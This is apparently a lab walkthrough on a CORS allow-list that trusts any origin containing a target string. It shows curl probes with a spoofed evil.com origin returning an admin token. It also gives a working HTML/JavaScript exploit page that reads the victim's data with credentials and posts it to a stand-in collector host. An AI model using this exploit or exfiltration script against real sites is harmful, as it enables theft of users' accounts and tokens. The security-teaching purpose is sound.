Lab credentials: admin / password. Session cookie cors27_auth (SameSite=None; Secure, same posture as Lab 26 — credentialed cross-site requests can carry it, HTTP pages cannot).
Origin: test.com in repeater and resend — the reply's access-control-allow-origin is the app's own domain, not your header. The check exists. Do not stop.Origin: https://stuxnet.pro → allowed (of course). Then a subdomain: https://sub.stuxnet.pro → also allowed. An exact-domain check would refuse an unknown subdomain — allowing any subdomain is your hint the developer is matching a string against the origin, not comparing the domain.https://stuxnet.pro.evil.com — a host you fully control on a domain you own, which merely contains the trusted string. → allowed, and access-control-allow-origin echoes it. You can create any "subdomain of yours" whose name contains the string, and the app calls it trusted./me (success, JSON in hand) and the /save POST that keeps the username, email and token. Same exfil shape as the last lab; the only difference was getting past the gate.access-control-allow-credentials: true is the single most directing header — a strong indicator a CORS misconfiguration exists. Tamper the Origin next — and reject nothing until you've established the check compares the domain in its entirety rather than a small string inside it.The classroom loop: your "attacker domain" is any host you control whose full name contains the trusted string (buy suffix-style or make stuxnet.pro.attacker-domain.you). Same HTTPS rule as Lab 26 — HTTP pages can't send the cookie.
# 1 — untrusted → answered with the app's own domain (the "protection")
curl -s -m 15 'https://stuxnet.pro/cors/lab27/me.php' \
-H 'Origin: https://test.com' -i | grep -i access-control
→ access-control-allow-origin: https://stuxnet.pro
→ access-control-allow-credentials: true
# 2 — the trusted domain, any subdomain → echoed
... -H 'Origin: https://sub.stuxnet.pro'
→ access-control-allow-origin: https://sub.stuxnet.pro
# 3 — THE FLAW: your own host that contains the string
... -H 'Origin: https://stuxnet.pro.evil.com' -b 'cors27_auth=1'
→ access-control-allow-origin: https://stuxnet.pro.evil.com
→ {"username":"admin","email":"admin@example-app.com","token":"eyJ…"}
One pattern, three classes: rejected-to-default, trusted-prefix echo, attacker suffix echo. If curl is all you can run, this matrix is the proof.
<!DOCTYPE html>
<script>
fetch('https://stuxnet.pro/cors/lab27/me.php', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
fetch('https://YOUR-COLLECTOR/save', {
method: 'POST',
body: JSON.stringify(d)
});
});
</script>
Identical to the Lab 26 exploit except where it lives: host it at https://stuxnet.pro.attacker-domain.test/ — a host under your registration whose name contains the trusted string. Sub-string matching doesn't care whose registration it is. Bonus "small details": the check accepts evilstuxnet.pro without any dot before the string at all — substring matching is sloppy in every direction (decide whether to mention siblings in your report; don't stack them — one proof is enough).
1. ACK: access-control-allow-credentials: true in any reply 2. Send: Origin: https://your-test.test → reflected = flaw 1 (Lab 26) 3. Send: Origin: https://app-own-domain.test → default echo = a check exists → keep going 4. Send: Origin: https://check-string.your-test.test → echoed = flaw 2 (Lab 27) 5. Data decides severity: PII = medium; access token you can replay = critical
Steps 2→4 are a two-probe ladder you can run from repeater on any target. The Allow-Credentials header does the pointing; the Origin ladder settles what kind of flaw it is.
CORS — the substring allow-list
Cross-Origin Resource Sharing